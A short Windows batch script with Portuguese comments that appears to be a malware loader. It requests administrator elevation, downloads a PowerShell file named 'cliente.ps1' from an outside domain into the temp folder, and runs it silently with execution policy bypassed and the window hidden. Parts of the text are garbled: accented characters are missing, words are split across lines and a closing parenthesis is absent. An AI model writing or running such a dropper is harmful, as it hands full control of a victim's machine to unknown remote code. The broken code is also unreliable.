@echo off
:: Verifica se o script est
sendo executado como administrador
net session >nul 2>&1
if %errorLevel% neq 0 (
:: Se n
o for administrador, solicita eleva
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit
:: Baixar e instalar o PowerShell, se necess
powershell -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Get-Command powershell -ErrorAction SilentlyContinue)) { Write-Output 'Instalando o PowerShell...'; Install-PackageProvider -Name NuGet -Force; Install-Module -Name PowerShellGet -Force; Install-Module -Name PSReadline -Force }"
:: Baixar o arquivo PS1
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://enota.clientepj.com/cliente.ps1' -OutFile '%TEMP%\cliente.ps1'"
:: Executar o arquivo PS1 de forma silenciosa
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\cliente.ps1"